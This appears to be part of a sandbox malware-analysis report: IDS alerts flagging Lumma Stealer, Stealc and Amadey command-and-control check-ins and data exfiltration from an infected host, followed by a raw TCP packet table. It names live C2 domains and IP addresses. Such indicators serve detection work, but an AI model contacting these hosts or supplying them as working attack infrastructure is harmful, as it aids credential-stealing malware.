2024-12-16T15:04:36.058811+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50204	104.21.50.161	443	TCP
2024-12-16T15:04:36.058811+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50204	104.21.50.161	443	TCP
2024-12-16T15:04:38.081141+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50204	104.21.50.161	443	TCP
2024-12-16T15:04:38.081141+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50204	104.21.50.161	443	TCP
2024-12-16T15:04:39.705328+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50215	104.21.50.161	443	TCP
2024-12-16T15:04:39.705328+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50215	104.21.50.161	443	TCP
2024-12-16T15:04:40.319944+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50214	185.215.113.206	80	TCP
2024-12-16T15:04:41.302343+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50216	185.215.113.43	80	TCP
2024-12-16T15:04:42.415066+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50217	104.21.50.161	443	TCP
2024-12-16T15:04:42.415066+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50217	104.21.50.161	443	TCP
2024-12-16T15:04:46.159153+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50221	104.21.50.161	443	TCP
2024-12-16T15:04:46.159153+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50221	104.21.50.161	443	TCP
2024-12-16T15:04:46.160002+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50220	104.21.50.161	443	TCP
2024-12-16T15:04:46.160002+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50220	104.21.50.161	443	TCP
2024-12-16T15:04:46.515307+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50222	185.215.113.43	80	TCP
2024-12-16T15:04:47.728424+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50221	104.21.50.161	443	TCP
2024-12-16T15:04:47.728424+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50221	104.21.50.161	443	TCP
2024-12-16T15:04:48.961049+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50224	104.21.50.161	443	TCP
2024-12-16T15:04:48.961049+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50224	104.21.50.161	443	TCP
2024-12-16T15:04:49.171148+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50225	104.21.50.161	443	TCP
2024-12-16T15:04:49.171148+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50225	104.21.50.161	443	TCP
2024-12-16T15:04:50.200418+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50224	104.21.50.161	443	TCP
2024-12-16T15:04:50.200418+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50224	104.21.50.161	443	TCP
2024-12-16T15:04:50.347660+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50225	104.21.50.161	443	TCP
2024-12-16T15:04:51.808762+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50226	104.21.50.161	443	TCP
2024-12-16T15:04:51.808762+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50226	104.21.50.161	443	TCP
2024-12-16T15:04:52.003943+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50228	104.21.50.161	443	TCP
2024-12-16T15:04:52.003943+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50228	104.21.50.161	443	TCP
2024-12-16T15:04:52.084797+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50227	185.215.113.43	80	TCP
2024-12-16T15:04:53.890750+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50229	104.21.50.161	443	TCP
2024-12-16T15:04:53.890750+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50229	104.21.50.161	443	TCP
2024-12-16T15:04:55.369691+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50230	185.215.113.206	80	TCP
2024-12-16T15:04:55.546046+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50232	104.21.50.161	443	TCP
2024-12-16T15:04:55.546046+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50232	104.21.50.161	443	TCP
2024-12-16T15:04:56.239977+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50233	104.21.50.161	443	TCP
2024-12-16T15:04:56.239977+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50233	104.21.50.161	443	TCP
2024-12-16T15:04:58.359650+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50232	104.21.50.161	443	TCP
2024-12-16T15:04:59.830563+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50235	185.215.113.16	80	TCP
2024-12-16T15:05:00.181591+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50236	104.21.50.161	443	TCP
2024-12-16T15:05:00.181591+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50236	104.21.50.161	443	TCP
2024-12-16T15:05:04.340034+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50239	104.21.50.161	443	TCP
2024-12-16T15:05:04.340034+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50239	104.21.50.161	443	TCP
2024-12-16T15:05:09.021393+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50268	104.21.50.161	443	TCP
2024-12-16T15:05:09.021393+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50268	104.21.50.161	443	TCP
2024-12-16T15:05:10.678361+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50268	104.21.50.161	443	TCP
2024-12-16T15:05:10.894814+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50275	185.215.113.206	80	TCP
2024-12-16T15:05:12.167291+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50280	185.215.113.16	80	TCP
2024-12-16T15:05:19.094264+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50286	104.21.50.161	443	TCP
2024-12-16T15:05:19.094264+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50286	104.21.50.161	443	TCP
2024-12-16T15:05:20.092046+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50286	104.21.50.161	443	TCP
2024-12-16T15:05:20.092046+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50286	104.21.50.161	443	TCP
2024-12-16T15:05:21.499858+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50287	104.21.50.161	443	TCP
2024-12-16T15:05:21.499858+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50287	104.21.50.161	443	TCP
2024-12-16T15:05:22.654864+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50287	104.21.50.161	443	TCP
2024-12-16T15:05:22.654864+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50287	104.21.50.161	443	TCP
2024-12-16T15:05:22.839982+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50289	185.215.113.206	80	TCP
2024-12-16T15:05:24.181457+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50290	104.21.50.161	443	TCP
2024-12-16T15:05:24.181457+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50290	104.21.50.161	443	TCP
2024-12-16T15:05:26.561436+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50293	104.21.50.161	443	TCP
2024-12-16T15:05:26.561436+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50293	104.21.50.161	443	TCP
2024-12-16T15:05:27.654362+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50293	104.21.50.161	443	TCP
2024-12-16T15:05:28.502052+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50294	185.215.113.206	80	TCP
2024-12-16T15:05:29.014583+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50296	104.21.50.161	443	TCP
2024-12-16T15:05:29.014583+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50296	104.21.50.161	443	TCP
2024-12-16T15:05:31.218447+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50297	104.21.50.161	443	TCP
2024-12-16T15:05:31.218447+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50297	104.21.50.161	443	TCP
2024-12-16T15:05:33.375406+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50299	104.21.50.161	443	TCP
2024-12-16T15:05:33.375406+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50299	104.21.50.161	443	TCP
2024-12-16T15:05:35.217274+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50299	104.21.50.161	443	TCP
2024-12-16T15:05:36.439737+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.6	50301	104.21.50.161	443	TCP
2024-12-16T15:05:36.439737+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50301	104.21.50.161	443	TCP
2024-12-16T15:05:37.274497+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50301	104.21.50.161	443	TCP
2024-12-16T15:05:38.740024+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50303	185.215.113.16	80	TCP
2024-12-16T15:05:49.430368+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50307	185.215.113.206	80	TCP
2024-12-16T15:07:28.269463+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50387	185.215.113.43	80	TCP
2024-12-16T15:09:22.164954+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50437	38.114.102.230	80	TCP
2024-12-16T15:09:25.543636+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50436	TCP
2024-12-16T15:09:26.899707+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50439	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 15:01:02.823416948 CET	443	49713	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:02.825329065 CET	49713	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:02.825445890 CET	49713	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:02.825558901 CET	49713	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:02.945266008 CET	443	49713	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:02.945336103 CET	443	49713	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:02.945350885 CET	443	49713	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:03.198129892 CET	49673	443	192.168.2.6	173.222.162.64
Dec 16, 2024 15:01:03.367177010 CET	443	49713	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:03.369957924 CET	49674	443	192.168.2.6	173.222.162.64
Dec 16, 2024 15:01:03.432568073 CET	49713	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:03.588665009 CET	49672	443	192.168.2.6	173.222.162.64
Dec 16, 2024 15:01:03.792968988 CET	443	49713	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:03.793160915 CET	443	49713	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:03.793256998 CET	49713	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:03.794054985 CET	49713	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:03.913846970 CET	443	49713	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:04.335128069 CET	443	49713	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:04.385607004 CET	49713	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:05.410583019 CET	49714	443	192.168.2.6	20.198.119.84
Dec 16, 2024 15:01:05.410643101 CET	443	49714	20.198.119.84	192.168.2.6
Dec 16, 2024 15:01:05.410777092 CET	49714	443	192.168.2.6	20.198.119.84
Dec 16, 2024 15:01:05.411484957 CET	49714	443	192.168.2.6	20.198.119.84
Dec 16, 2024 15:01:05.411521912 CET	443	49714	20.198.119.84	192.168.2.6
Dec 16, 2024 15:01:07.639453888 CET	443	49714	20.198.119.84	192.168.2.6
Dec 16, 2024 15:01:07.639549017 CET	49714	443	192.168.2.6	20.198.119.84
Dec 16, 2024 15:01:07.645525932 CET	49714	443	192.168.2.6	20.198.119.84
Dec 16, 2024 15:01:07.645570040 CET	443	49714	20.198.119.84	192.168.2.6
Dec 16, 2024 15:01:07.645999908 CET	443	49714	20.198.119.84	192.168.2.6
Dec 16, 2024 15:01:07.648726940 CET	49714	443	192.168.2.6	20.198.119.84
Dec 16, 2024 15:01:07.648797989 CET	49714	443	192.168.2.6	20.198.119.84
Dec 16, 2024 15:01:07.648816109 CET	443	49714	20.198.119.84	192.168.2.6
Dec 16, 2024 15:01:07.648952007 CET	49714	443	192.168.2.6	20.198.119.84
Dec 16, 2024 15:01:07.691349983 CET	443	49714	20.198.119.84	192.168.2.6
Dec 16, 2024 15:01:08.685971975 CET	443	49714	20.198.119.84	192.168.2.6
Dec 16, 2024 15:01:08.686065912 CET	443	49714	20.198.119.84	192.168.2.6
Dec 16, 2024 15:01:08.686156034 CET	49714	443	192.168.2.6	20.198.119.84
Dec 16, 2024 15:01:08.686386108 CET	49714	443	192.168.2.6	20.198.119.84
Dec 16, 2024 15:01:08.686412096 CET	443	49714	20.198.119.84	192.168.2.6
Dec 16, 2024 15:01:12.807439089 CET	49673	443	192.168.2.6	173.222.162.64
Dec 16, 2024 15:01:12.979353905 CET	49674	443	192.168.2.6	173.222.162.64
Dec 16, 2024 15:01:13.198034048 CET	49672	443	192.168.2.6	173.222.162.64
Dec 16, 2024 15:01:14.491035938 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:14.491055012 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:14.491075993 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:14.491112947 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:14.491117954 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:14.491122961 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:14.491173983 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:14.491223097 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:14.491233110 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:14.491246939 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:14.491251945 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:14.491360903 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:14.497075081 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:14.497102976 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:14.497174025 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:14.522155046 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:14.522192001 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:14.527735949 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:14.527753115 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:14.527848959 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:14.527901888 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:14.528278112 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:14.528275967 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:14.528297901 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:14.528310061 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:15.787405968 CET	443	49708	173.222.162.64	192.168.2.6
Dec 16, 2024 15:01:15.788609028 CET	49708	443	192.168.2.6	173.222.162.64
Dec 16, 2024 15:01:16.061532974 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:16.061644077 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:16.063440084 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:16.063548088 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:16.064450979 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:16.064654112 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:16.066169024 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:16.066289902 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:16.066375017 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:16.066855907 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.454138041 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.454181910 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.454436064 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.454469919 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.454611063 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.454622030 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.454694033 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.454755068 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.454792976 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.454814911 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.454817057 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.454826117 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.454902887 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.454916954 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.454946995 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.455015898 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.455121994 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.455183029 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.455213070 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.455238104 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.455276012 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.455854893 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.455868959 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.456037998 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.456046104 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.456252098 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.456513882 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.456696987 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.495371103 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.499346972 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.815494061 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.815535069 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.815558910 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.815593958 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.815619946 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.815639973 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.815689087 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.816426039 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.816447973 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.816462994 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.816507101 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.816562891 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.816570997 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.816612959 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.817718029 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.817743063 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.817759037 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.817817926 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.817850113 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.817900896 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.819485903 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.819511890 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.819549084 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.819550991 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.819590092 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.819600105 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.819636106 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.819654942 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.824466944 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.824491978 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.824532986 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.824562073 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.824615002 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.824625969 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.824641943 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.824671030 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.998629093 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.998667002 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.998734951 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.998760939 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:17.998780012 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:17.998800039 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.001082897 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.001121044 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.001171112 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.001204014 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.001225948 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.001244068 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.001565933 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.001641989 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.001667023 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.001697063 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.001712084 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.001730919 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.001799107 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.001842022 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.001885891 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.001893997 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.001925945 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.001935959 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.002453089 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.002479076 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.002525091 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.002545118 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.002563000 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.002582073 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.042198896 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.042222977 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.042301893 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.042340040 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.042361021 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.042402983 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.046554089 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.046576977 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.046643019 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.046650887 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.046694040 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.046714067 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.047939062 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.047960043 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.048021078 CET	49733	443	192.168.2.6	150.171.28.10
